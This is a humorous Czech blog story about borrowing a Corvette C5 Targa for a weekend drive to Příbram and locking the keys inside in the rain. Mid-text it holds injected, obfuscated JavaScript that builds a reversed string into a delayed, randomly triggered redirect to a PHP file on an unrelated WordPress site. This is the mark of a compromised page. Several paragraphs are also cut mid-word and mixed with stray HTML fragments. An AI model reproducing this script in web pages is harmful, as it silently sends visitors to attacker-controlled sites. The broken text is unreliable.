Tohle je romantickej příběh o lásce, která se zrodila z čiré náhody a zahořela mocným osmiválcovým plamenem, jen aby následně tragicky zhasla. Začalo to stejně jako Láska Nebeská – jednou těsně před Vánocemi… Na vánočním večírku jsem potkal hezkou milou holku. Ukázalo se, že má taky úspěšnýho tátu, ten táta má garáž plnou parádních aut a ty auta by mi prej klidně půjčil, protože je to správnej řízek, co balí dvacítky, chodí do posilky a poslouchá Michala Davida. Povídali jsme si celou noc o všem možným. O Bentley, Range Roveru, Hummeru, Corvette, BMW i Jaguaru. A bylo mi jasný, že ta holka to se mnou myslí vážně – že dřív nebo pozdějc se k těm autům opravdu dostanu. Přišel jsem domů slušně nalitej a nemyslel na nic jinýho, dokud jsem neusnul.
toho teda půjdem. Její táta nám dal požehnání, a tak už zbejvalo jediný rozhodnutí. Který auto vytáhnout na projížďku? Nakonec jsem to toho plichta mezi Continentalem GT a Corvette. Tak jsem to ukecal na obě (díky, Franto!) a domluvil si nejvíc epickej autovíkend. Celou sobotu jsem $NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}todlak.cz/wp-content/uploads/vette2.jpg“>to Corvette C5 Targa z konce 90. let, sluníčko svítilo a mě čekala cesta do Příbrami na Českou Route 66. Překvapilo mě, jak intuitivně a samozřejmě je vyřešeno sundavání a uložení střešního panelu. Čekal jsem peklo a pořezaný ruce, ale místo toho jsem na všechno hned přišel a za minutu bylo hotovo. Hned po startu jsem zjistil, že i tachometr v mílích mi náramně vyhovuje. Najednou mi devadesátka na okresce začala dávat smysl, a tak jsem se jí držel. Oproti kilometrům jsou čísla na tomhle budíku uklidňujícím způsobem nízká, takže se rychlostí zbytečně nestresujete. Protože kdo by to pořád přepočítával?
tou do Příbrami jsem jel kvůli zpoždění hlavně na rychlost a focení i seznamování s autem jsem si naplánoval na cestu zpátky. Možná už jste si ale všimli, že všechny fotky jsou focený z jednoho místa na mobil. Když jsem totiž kus od Příbrami zastavil na pěkným kousku silnice, že se vyčůrám a udělám pár fotek, nastartovaný auto se mi s klíčema v zapalování tos/a.491934160878356.1073741830.454135617991544/1042430489162051/?type=3&theater“ target=“_blank“ rel=“noopener noreferrer“>pár sekund po zabouchnutí dveří zamklo. A to jsem jako naschvál jen chvíli před tím nasadil střechu zpátky, protože jsem se bál, že začne brzo pršet. No, měl jsem pravdu. Začalo pršet.
to rozhoupat a pak se odemkne, ale nic nezabíralo. Moje pokusy prostrčit klacek skrz těsnění kolem bezrámovejch dveří vypadaly profesionálně asi jako loupež ze Sám doma. Po nedalekým přejezdu do toho projel každou chvíli vláček a mě pořád znělo v hlavě výsměšný: Auta stojí, vlaky jedou! Do vesnice to sice byl sotva kilometr, jenže zatímco já jsem okno rozhodně rozbít neplánoval, nechtěl jsem riskovat, že to udělá někdo jinej. Tak jsem zatnul zuby a moknul.
No a to byl konec týhle lásky, od tý doby jsme se neviděli. Naposledy jsem slyšel, že dostala novej koženej interiér a palivovej filtr. Přeju jí to. Kdo ví, třeba se ještě jednou někde na silnici potkáme.